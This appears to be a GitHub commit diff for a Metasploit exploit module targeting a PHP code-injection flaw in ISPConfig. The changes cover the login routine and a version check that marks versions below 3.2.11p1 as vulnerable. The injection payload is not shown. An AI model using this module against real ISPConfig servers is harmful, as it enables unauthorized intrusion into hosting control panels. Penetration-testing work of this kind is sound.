Skip to content

Commit 20134b5

Browse files
committed
resolved: changes
1 parent 47f2ba2 commit 20134b5

File tree

1 file changed

+19
-31
lines changed

1 file changed

+19
-31
lines changed

modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb

Lines changed: 19 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -74,38 +74,25 @@ def initialize(info = {})
7474
def check
7575
print_status('Checking if the target is ISPConfig...')
7676
# Always try to log in and parse version, since credentials are required
77-
# Clear any existing cookies before login
78-
cookie_jar.clear
79-
80-
login_res = send_request_cgi!({
81-
'method' => 'POST',
82-
'uri' => normalize_uri(target_uri.path, 'login/'),
83-
'vars_post' => {
84-
'username' => datastore['USERNAME'],
85-
'password' => datastore['PASSWORD'],
86-
's_mod' => 'login'
87-
},
77+
# cookie_jar.clear (handled in exploit)
78+
return CheckCode::Safe unless authenticate
79+
# Try to access the dashboard or settings page
80+
settings_res = send_request_cgi({
81+
'method' => 'GET',
82+
'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
8883
'keep_cookies' => true
8984
})
90-
if login_res && (login_res.headers['Location']&.include?('admin') || login_res.body.downcase.include?('dashboard'))
91-
# Try to access the dashboard or settings page
92-
settings_res = send_request_cgi({
93-
'method' => 'GET',
94-
'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
95-
'keep_cookies' => true
96-
})
97-
if settings_res
98-
doc = settings_res.get_html_document
99-
# Try to find version in a span, div, or similar element
100-
version_element = doc.at('//p[@class="frmTextHead"]')
101-
if version_element
102-
version_text = version_element.text
103-
version = version_text.split(":")[1].gsub(" ","")
104-
version = Rex::Version.new(version)
105-
if version < Rex::Version.new('3.2.11p1')
106-
print_good("ISPConfig version detected: #{version_text}")
107-
return CheckCode::Vulnerable("Version: #{version_text}")
108-
end
85+
if settings_res
86+
doc = settings_res.get_html_document
87+
# Try to find version in a span, div, or similar element
88+
version_element = doc.at('//p[@class="frmTextHead"]')
89+
if version_element
90+
version_text = version_element.text
91+
version = version_text.split(":")[1].gsub(" ","")
92+
version = Rex::Version.new(version)
93+
if version < Rex::Version.new('3.2.11p1')
94+
print_good("ISPConfig version detected: #{version_text}")
95+
return CheckCode::Vulnerable("Version: #{version_text}")
10996
end
11097
end
11198
end
@@ -116,7 +103,7 @@ def authenticate
116103
print_status("Attempting login with username '#{datastore['USERNAME']}' and password '#{datastore['PASSWORD']}'")
117104
res = send_request_cgi({
118105
'method' => 'POST',
119-
'uri' => normalize_uri(target_uri.path, 'login'),
106+
'uri' => normalize_uri(target_uri.path, 'login/'),
120107
'vars_post' => {
121108
'username' => datastore['USERNAME'],
122109
'password' => datastore['PASSWORD'],
@@ -262,6 +249,7 @@ def inject_payload
262249
end
263250

264251
def exploit
252+
cookie_jar.clear
265253
unless authenticate
266254
fail_with(Failure::NoAccess, 'Login failed')
267255
end

0 commit comments

Comments
 (0)